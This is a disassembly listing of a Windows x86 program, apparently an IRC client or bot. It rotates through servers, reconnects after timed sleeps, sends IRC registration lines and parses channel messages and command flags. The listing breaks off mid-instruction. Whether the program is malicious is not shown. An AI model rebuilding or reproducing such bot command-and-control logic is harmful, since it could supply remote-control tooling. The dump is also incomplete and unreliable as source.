mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E028 mov dword ptr [esi+11h], offset off_43E034 lea ecx, [esi+2DAh] mov [esp+14h+var_4], 10h call sub_401B54 sub_40FDA0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+2ACh] mov byte ptr [esp+10h], 0Fh call sub_401023 lea ecx, [esi+27Eh] mov byte ptr [esp+10h], 0Eh call sub_401023 lea ecx, [esi+250h] mov byte ptr [esp+10h], 0Dh call sub_401023 lea ecx, [esi+222h] mov byte ptr [esp+10h], 0Ch call sub_401023 lea ecx, [esi+1F4h] mov byte ptr [esp+10h], 0Bh call sub_401023 lea ecx, [esi+1C6h] mov byte ptr [esp+10h], 0Ah call sub_401023 lea ecx, [esi+198h] mov byte ptr [esp+10h], 9 call sub_401023 lea ecx, [esi+16Ah] mov byte ptr [esp+10h], 8 call sub_401023 lea ecx, [esi+13Ch] mov byte ptr [esp+10h], 7 call sub_401023 lea ecx, [esi+10Eh] mov byte ptr [esp+10h], 6 call sub_401023 lea ecx, [esi+0E0h] mov byte ptr [esp+10h], 5 call sub_401023 lea ecx, [esi+0B2h] mov byte ptr [esp+10h], 4 call sub_401023 lea ecx, [esi+84h] mov byte ptr [esp+10h], 3 call sub_401023 lea ecx, [esi+56h] mov byte ptr [esp+10h], 2 call sub_401023 lea ecx, [esi+3Dh] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+28h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_402031 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40FF60 proc near ; CODE XREF: sub_40212Bj var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_1C = byte ptr 20h arg_1E = word ptr 22h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_34 = byte ptr 38h arg_4C = byte ptr 50h arg_64 = byte ptr 68h arg_7C = byte ptr 80h arg_94 = byte ptr 98h arg_AC = byte ptr 0B0h arg_C4 = byte ptr 0C8h arg_DC = byte ptr 0E0h arg_F4 = byte ptr 0F8h arg_10C = byte ptr 110h arg_124 = byte ptr 128h arg_13C = byte ptr 140h arg_154 = byte ptr 158h arg_16C = byte ptr 170h arg_184 = byte ptr 188h arg_19C = byte ptr 1A0h arg_1B4 = byte ptr 1B8h arg_1CC = byte ptr 1D0h arg_1E4 = byte ptr 1E8h arg_1FC = byte ptr 200h arg_214 = byte ptr 218h arg_22C = byte ptr 230h arg_244 = byte ptr 248h arg_25C = byte ptr 260h arg_274 = byte ptr 278h arg_28C = byte ptr 290h arg_2A4 = byte ptr 2A8h arg_2BC = byte ptr 2C0h arg_2D4 = byte ptr 2D8h arg_2EC = byte ptr 2F0h arg_304 = byte ptr 308h arg_31C = byte ptr 320h arg_334 = byte ptr 338h arg_34C = byte ptr 350h arg_364 = byte ptr 368h arg_37C = byte ptr 380h arg_394 = byte ptr 398h arg_3AC = byte ptr 3B0h arg_3C4 = byte ptr 3C8h arg_3DC = byte ptr 3E0h arg_3F4 = byte ptr 3F8h arg_408 = byte ptr 40Ch arg_40C = byte ptr 410h arg_464 = byte ptr 468h arg_2464 = dword ptr 2468h arg_246C = dword ptr 2470h arg_2470 = dword ptr 2474h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_4395D3 push eax mov eax, 2478h mov large fs:0, esp call sub_436840 push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+1Ch+var_4] call sub_401424 mov al, [ebp+17h] xor ebx, ebx cmp al, bl mov [esp+1Ch+arg_2470], ebx jz loc_411330 loc_40FFA2: ; CODE XREF: sub_40FF60+13CAj mov al, byte_4E6E84 mov edi, dword_50F8A4 cmp al, bl jz loc_411330 mov eax, [ebp+20h] cmp eax, ebx jnz short loc_40FFCA cmp dword ptr [ebp+1Ch], 5 jg short loc_40FFD4 cmp eax, ebx jz loc_41010E loc_40FFCA: ; CODE XREF: sub_40FF60+5Aj cmp dword ptr [ebp+1Ch], 2 jle loc_41010E loc_40FFD4: ; CODE XREF: sub_40FF60+60j mov eax, [ebp+18h] mov [ebp+16h], bl cmp eax, 0FFFFFFFFh mov [ebp+15h], bl jz short loc_40FFE9 push eax call near ptr 71AB9639h nop loc_40FFE9: ; CODE XREF: sub_40FF60+80j mov ecx, offset word_448C9E mov dword ptr [ebp+18h], 0FFFFFFFFh call sub_401537 mov esi, [ebp+20h] inc esi mov [ebp+20h], esi lea esi, [ebp+2DAh] mov ecx, esi call sub_401974 mov ecx, [ebp+20h] dec eax cmp ecx, eax jbe short loc_410019 mov [ebp+20h], ebx loc_410019: ; CODE XREF: sub_40FF60+B4j mov eax, [ebp+20h] mov ecx, esi push eax mov [ebp+1Ch], ebx call sub_40146A mov ecx, [eax] add ecx, 16Dh push ecx push offset byte_44742D mov ecx, offset word_448D16 call sub_401F32 mov edx, [ebp+20h] mov ecx, esi push edx call sub_40146A mov eax, [eax] mov ecx, offset word_448D16 add eax, 1B6h push eax push offset dword_4473E4 call sub_401F32 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_40146A mov edx, [eax] mov ecx, offset word_448D16 push edx push offset dword_4472C0 call sub_401F32 mov eax, [ebp+20h] mov ecx, esi push eax call sub_40146A mov ecx, [eax] add ecx, 124h push ecx push offset word_447352 mov ecx, offset word_448D16 call sub_401F32 mov edx, [ebp+20h] mov ecx, esi push edx call sub_40146A mov eax, [eax] mov ecx, offset word_448D16 add eax, 0DBh push eax push offset byte_447309 call sub_401F32 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_40146A mov edx, [eax] mov ecx, offset word_448D16 add edx, 92h push edx push offset byte_44739B call sub_401F32 mov eax, [ebp+20h] mov ecx, esi push eax call sub_40146A mov ecx, [eax] add ecx, 1FFh push ecx push offset byte_4474BF mov ecx, offset word_448D16 call sub_401F32 call edi mov [ebp+24h], eax loc_41010E: ; CODE XREF: sub_40FF60+64j ; sub_40FF60+6Ej mov edx, [ebp+18h] cmp edx, 0FFFFFFFFh jnz short loc_410138 push 6 push 1 push 2 call near ptr 71AB3B91h nop push 7D0h mov [ebp+18h], eax mov [ebp+15h], bl call near ptr 28302E5h nop jmp loc_411327 ; --------------------------------------------------------------------------- loc_410138: ; CODE XREF: sub_40FF60+1B4j cmp [ebp+15h], bl jnz loc_4102C8 mov ax, word_44736C xor edx, edx mov [esp+20h+arg_20], edx push eax mov [esp+24h+arg_24], edx mov word ptr [esp+24h+arg_20], 2 mov [esp+24h+arg_28], edx mov [esp+24h+arg_2C], edx nop call near ptr 71AB2B66h mov ecx, offset byte_447309 mov [esp+24h+arg_1E], ax call sub_4017E4 push eax call sub_40187F add esp, 4 mov [esp+24h+arg_20], eax call edi mov edx, [ebp+18h] lea ecx, [esp+24h+arg_1C] push 10h push ecx push edx mov [ebp+24h], eax nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_4101B8 push 2710h nop call near ptr 28302E5h mov eax, [ebp+1Ch] mov [ebp+15h], bl inc eax mov [ebp+1Ch], eax jmp loc_411327 ; --------------------------------------------------------------------------- loc_4101B8: ; CODE XREF: sub_40FF60+23Cj mov byte ptr [ebp+15h], 1 mov [ebp+16h], bl call edi mov [ebp+24h], eax xor eax, eax mov [esp+30h+arg_0], eax lea ecx, [esp+30h+arg_20] mov [esp+30h+arg_4], eax lea edx, [esp+30h+arg_0] mov [esp+30h+arg_8], eax push ecx mov [esp+34h+arg_C], eax mov eax, [ebp+18h] push edx push eax mov [esp+3Ch+arg_20], 10h nop call near ptr 71AB951Eh mov ecx, [esp+3Ch+var_4+3] mov edx, [esp+3Ch+var_4+2] mov eax, [esp+3Ch+var_4+1] and ecx, 0FFh push ecx mov ecx, [esp+40h+var_4] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+4Ch+arg_408] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx call sub_5EDAB2 nop add esp, 18h lea eax, [esp+3Ch+arg_408] lea ecx, [ebp+3Dh] push eax call sub_4015D7 lea ecx, [esp+3Ch+arg_408] push ecx nop call near ptr 71AB2BF4h push offset byte_446F70 mov ecx, offset byte_44739B mov [ebp+52h], eax call sub_4012EE test eax, eax jz short loc_410287 mov ecx, offset byte_44739B call sub_4017E4 mov edx, dword_44711C push eax push edx push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h loc_410287: ; CODE XREF: sub_40FF60+305j mov ecx, offset byte_4E6E85 call sub_4017E4 push eax mov ecx, offset byte_4E6E85 call sub_4017E4 push eax mov eax, dword_447124 push eax mov ecx, offset byte_4E6E85 call sub_4017E4 mov ecx, dword_447120 push eax push ecx push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n" push ebp call sub_401E0B add esp, 1Ch jmp loc_411327 ; --------------------------------------------------------------------------- loc_4102C8: ; CODE XREF: sub_40FF60+1DBj mov ecx, 800h xor eax, eax lea edi, [esp+20h+arg_464] push ebx rep stosd lea eax, [esp+24h+arg_464] push 2000h push eax push edx call sub_401280 add esp, 10h cmp al, bl jz loc_411320 nop call near ptr 27E08A6h lea ecx, [esp+20h+var_8] mov [ebp+24h], eax call sub_401CBC lea ecx, [esp+20h+arg_464] push ecx lea ecx, [esp+24h+var_8] call sub_401A87 push offset asc_443600 ; " " lea edx, [esp+24h+arg_364] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447128 mov byte ptr [esp+20h+arg_246C], 1 push ecx mov ecx, eax call sub_4012EE test eax, eax jnz short loc_4103A0 push offset asc_443600 ; " " lea edx, [esp+24h+arg_3F4] push 4 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4473E4 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 2 call sub_401B72 test eax, eax lea ecx, [esp+20h+arg_3F4] mov byte ptr [esp+20h+arg_246C], 1 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_4103A4 loc_4103A0: ; CODE XREF: sub_40FF60+3EAj mov [esp+20h+var_D], bl loc_4103A4: ; CODE XREF: sub_40FF60+43Ej lea ecx, [esp+20h+arg_364] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_4103C6 mov byte ptr [ebp+16h], 1 jmp loc_411327 ; --------------------------------------------------------------------------- loc_4103C6: ; CODE XREF: sub_40FF60+45Bj push offset asc_443600 ; " " lea eax, [esp+24h+arg_F4] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_4470FC mov byte ptr [esp+20h+arg_246C], 3 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_F4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl push 1 jz short loc_410464 lea edx, [esp+28h+arg_2A4] lea ecx, [esp+28h+var_8] push edx call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 4 call sub_4017E4 push eax mov eax, dword_447118 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2A4] jmp loc_410592 ; --------------------------------------------------------------------------- loc_410464: ; CODE XREF: sub_40FF60+4BAj lea edx, [esp+28h+arg_124] lea ecx, [esp+28h+var_8] push edx call sub_4016AE mov ecx, dword_447100 mov byte ptr [esp+20h+arg_246C], 5 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_124] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl jz loc_4105D0 lea edx, [esp+24h+arg_40C] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 6 call sub_4012EE lea ecx, [esp+20h+arg_40C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_411327 push offset asc_443600 ; " " lea eax, [esp+24h+arg_154] push 11h push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447118 mov byte ptr [esp+20h+arg_246C], 7 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_154] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410597 push offset asc_443600 ; " " lea edx, [esp+24h+arg_2D4] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 8 call sub_4017E4 push eax mov eax, dword_447118 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2D4] loc_410592: ; CODE XREF: sub_40FF60+4FFj call sub_401226 loc_410597: ; CODE XREF: sub_40FF60+5E6j cmp [ebp+16h], bl jnz loc_411327 mov ecx, offset byte_44742D call sub_4017E4 push eax mov ecx, offset dword_4473E4 call sub_4017E4 mov ecx, dword_447104 push eax push ecx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h jmp loc_411327 ; --------------------------------------------------------------------------- loc_4105D0: ; CODE XREF: sub_40FF60+550j lea edx, [esp+24h+arg_394] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447138 mov byte ptr [esp+20h+arg_246C], 9 push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_410652 push offset asc_443600 ; " " lea edx, [esp+24h+arg_184] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_44713C mov byte ptr [esp+20h+arg_246C], 0Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_184] mov byte ptr [esp+20h+arg_246C], 9 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_410657 loc_410652: ; CODE XREF: sub_40FF60+69Bj mov [esp+20h+var_D], 1 loc_410657: ; CODE XREF: sub_40FF60+6F0j lea ecx, [esp+20h+arg_394] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_4106C4 cmp [ebp+16h], bl jnz short loc_4106A0 mov ecx, offset byte_44742D call sub_4017E4 push eax mov ecx, offset dword_4473E4 call sub_4017E4 mov edx, dword_447104 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h loc_4106A0: ; CODE XREF: sub_40FF60+713j mov ecx, offset byte_4E6E85 call sub_4017E4 push eax mov eax, dword_44710C push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h jmp loc_411327 ; --------------------------------------------------------------------------- loc_4106C4: ; CODE XREF: sub_40FF60+70Ej push offset asc_443600 ; " " lea ecx, [esp+24h+arg_1B4] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov edx, dword_447114 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_1B4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl jz short loc_410775 lea eax, [esp+24h+arg_94] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+24h+arg_94] mov byte ptr [esp+24h+arg_246C], 0Ch call sub_4014D3 push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_41075D inc eax lea ecx, [ebp+28h] push eax call sub_4015D7 loc_41075D: ; CODE XREF: sub_40FF60+7F1j lea ecx, [esp+20h+arg_94] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410775: ; CODE XREF: sub_40FF60+7B7j lea ecx, [esp+24h+arg_304] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov edx, dword_447110 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Dh call sub_4012EE test eax, eax jnz short loc_4107B0 mov al, byte_447844 mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_4107B4 loc_4107B0: ; CODE XREF: sub_40FF60+840j mov [esp+20h+var_D], bl loc_4107B4: ; CODE XREF: sub_40FF60+84Ej lea ecx, [esp+20h+arg_304] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_410AC1 push offset asc_443C94 ; ":" lea eax, [esp+24h+arg_4C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push 96h mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 0Fh jz short loc_410812 mov ecx, eax call sub_402054 loc_410812: ; CODE XREF: sub_40FF60+8A9j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 10h jz short loc_41083E mov ecx, eax call sub_4010BE loc_41083E: ; CODE XREF: sub_40FF60+8D5j push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_4C] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_401A9B push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_7C] push ebx push ecx lea ecx, [esp+2Ch+arg_4C] xor edi, edi call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jz loc_410AAC loc_41089F: ; CODE XREF: sub_40FF60+B46j push 96h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 12h jz short loc_4108C7 mov ecx, eax call sub_402054 mov esi, eax jmp short loc_4108C9 ; --------------------------------------------------------------------------- loc_4108C7: ; CODE XREF: sub_40FF60+95Aj xor esi, esi loc_4108C9: ; CODE XREF: sub_40FF60+965j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 13h jz short loc_4108FB mov ecx, eax call sub_4010BE mov [esp+20h+var_C], eax jmp short loc_4108FF ; --------------------------------------------------------------------------- loc_4108FB: ; CODE XREF: sub_40FF60+98Cj mov [esp+20h+var_C], ebx loc_4108FF: ; CODE XREF: sub_40FF60+999j push offset aS_3 ; " -s" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4013E3 test eax, eax jz short loc_410922 mov byte ptr [esi+93h], 1 jmp short loc_410928 ; --------------------------------------------------------------------------- loc_410922: ; CODE XREF: sub_40FF60+9B7j mov [esi+93h], bl loc_410928: ; CODE XREF: sub_40FF60+9C0j push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410943 mov byte ptr [esi+94h], 1 jmp short loc_410949 ; --------------------------------------------------------------------------- loc_410943: ; CODE XREF: sub_40FF60+9D8j mov [esi+94h], bl loc_410949: ; CODE XREF: sub_40FF60+9E1j push offset aO ; " -o" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410964 mov byte ptr [esi+95h], 1 jmp short loc_41096A ; --------------------------------------------------------------------------- loc_410964: ; CODE XREF: sub_40FF60+9F9j mov [esi+95h], bl loc_41096A: ; CODE XREF: sub_40FF60+A02j push offset asc_443600 ; " " lea edx, [esp+24h+arg_1E4] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 14h call sub_401FBE lea ecx, [esp+20h+arg_1E4] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset byte_446F70 lea ecx, [esi+54h] call sub_4015D7 push offset byte_446F70 lea ecx, [esi+3Fh] call sub_4015D7 push offset asc_443600 ; " " lea eax, [esp+24h+arg_AC] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 15h call sub_401FBE lea ecx, [esp+20h+arg_AC] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_214] push edi push ecx lea ecx, [esp+2Ch+arg_4C] call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 16h call sub_4017E4 push eax mov ecx, esi call sub_4015D7 lea ecx, [esp+20h+arg_214] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 mov ecx, [esp+20h+var_C] push 1 push esi call sub_401DE3 cmp esi, ebx jz short loc_410A59 push 1 mov ecx, esi call sub_4019D3 loc_410A59: ; CODE XREF: sub_40FF60+AEEj mov ecx, [esp+20h+var_C] call sub_4013D4 inc edi push offset asc_4435EC ; "|" lea edx, [esp+24h+arg_7C] push edi push edx lea ecx, [esp+2Ch+arg_4C] call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jnz loc_41089F loc_410AAC: ; CODE XREF: sub_40FF60+939j lea ecx, [esp+20h+arg_4C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410AC1: ; CODE XREF: sub_40FF60+86Bj push offset asc_443600 ; " " lea eax, [esp+24h+arg_334] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447108 mov byte ptr [esp+20h+arg_246C], 17h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_334] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410DDB push 96h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 18h jz short loc_410B3B mov ecx, eax call sub_402054 mov esi, eax jmp short loc_410B3D ; --------------------------------------------------------------------------- loc_410B3B: ; CODE XREF: sub_40FF60+BCEj xor esi, esi loc_410B3D: ; CODE XREF: sub_40FF60+BD9j push 0ADh mov byte ptr [esp+24h+arg_246C], bl call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 19h jz short loc_410B6C mov ecx, eax call sub_4010BE mov edi, eax jmp short loc_410B6E ; --------------------------------------------------------------------------- loc_410B6C: ; CODE XREF: sub_40FF60+BFFj xor edi, edi loc_410B6E: ; CODE XREF: sub_40FF60+C0Aj push offset aO ; " -o" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], bl call sub_4013E3 test eax, eax jz short loc_410B90 mov byte ptr [esi+95h], 1 jmp short loc_410B96 ; --------------------------------------------------------------------------- loc_410B90: ; CODE XREF: sub_40FF60+C25j mov [esi+95h], bl loc_410B96: ; CODE XREF: sub_40FF60+C2Ej push offset aS_3 ; " -s" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410BB1 mov byte ptr [esi+93h], 1 jmp short loc_410BB7 ; --------------------------------------------------------------------------- loc_410BB1: ; CODE XREF: sub_40FF60+C46j mov [esi+93h], bl loc_410BB7: ; CODE XREF: sub_40FF60+C4Fj push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410BD2 mov byte ptr [esi+94h], 1 jmp short loc_410BD8 ; --------------------------------------------------------------------------- loc_410BD2: ; CODE XREF: sub_40FF60+C67j mov [esi+94h], bl loc_410BD8: ; CODE XREF: sub_40FF60+C70j push offset asc_443C94 ; ":" lea edx, [esp+24h+arg_274] push ebx push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+24h+arg_3C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Ah call sub_4016AE push offset asc_443C88 ; "!" lea edx, [esp+24h+arg_244] push ebx push edx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Bh call sub_4016AE push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 1Ch call sub_401FBE lea ecx, [esp+20h+arg_244] mov byte ptr [esp+20h+arg_246C], 1Bh call sub_401226 lea ecx, [esp+20h+arg_3C4] mov byte ptr [esp+20h+arg_246C], 1Ah call sub_401226 lea ecx, [esp+20h+arg_274] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443C88 ; "!" lea eax, [esp+24h+arg_DC] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+24h+arg_C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Dh call sub_4016AE push eax lea ecx, [esi+54h] mov byte ptr [esp+24h+arg_246C], 1Eh call sub_401FBE lea ecx, [esp+20h+arg_C4] mov byte ptr [esp+20h+arg_246C], 1Dh call sub_401226 lea ecx, [esp+20h+arg_DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset dword_4437F8 lea edx, [esp+24h+arg_13C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+24h+arg_10C] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Fh call sub_4016AE push eax lea ecx, [esi+3Fh] mov byte ptr [esp+24h+arg_246C], 20h call sub_401FBE mov byte ptr [esp+20h+arg_246C], 1Fh lea ecx, [esp+20h+arg_10C] call sub_401226 lea ecx, [esp+20h+arg_13C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443600 ; " " lea edx, [esp+24h+arg_16C] push 2 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 21h call sub_401FBE lea ecx, [esp+20h+arg_16C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443C84 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_410DAD add eax, 2 push eax jmp short loc_410DB2 ; --------------------------------------------------------------------------- loc_410DAD: ; CODE XREF: sub_40FF60+E45j push offset byte_446F70 loc_410DB2: ; CODE XREF: sub_40FF60+E4Bj mov ecx, esi call sub_4015D7 push ebx push esi mov ecx, edi call sub_401DE3 cmp esi, ebx jz short loc_410DCF push 1 mov ecx, esi call sub_4019D3 loc_410DCF: ; CODE XREF: sub_40FF60+E64j mov ecx, edi call sub_4013D4 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_40FF60+BADj push offset asc_443600 ; " " lea eax, [esp+24h+arg_19C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_44712C mov byte ptr [esp+20h+arg_246C], 22h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_19C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410FB0 sub esp, 18h lea ecx, [esp+38h+var_8] mov edx, esp mov [esp+38h+var_C], esp push offset asc_443600 ; " " push 3 push edx call sub_4016AE mov ecx, offset word_448C9E call sub_401CD0 cmp eax, ebx jz short loc_410EA2 sub esp, 18h lea ecx, [esp+38h+var_8] mov eax, esp mov [esp+38h+var_C], esp push offset asc_443600 ; " " push 3 push eax call sub_4016AE sub esp, 18h mov byte ptr [esp+50h+arg_246C], 23h mov ecx, esp mov [esp+50h+arg_C], esp push offset asc_443600 ; " " push 3 push ecx lea ecx, [esp+5Ch+var_8] call sub_4016AE mov ecx, offset word_448C9E mov byte ptr [esp+50h+arg_246C], bl call sub_40210D loc_410EA2: ; CODE XREF: sub_40FF60+EF3j push offset asc_443600 ; " " lea edx, [esp+24h+arg_1CC] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset byte_4E6E85 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 24h call sub_401B72 test eax, eax lea ecx, [esp+20h+arg_1CC] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411327 push offset asc_443C94 ; ":" lea eax, [esp+24h+arg_22C] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443C88 ; "!" lea ecx, [esp+24h+arg_1FC] push ebx push ecx mov 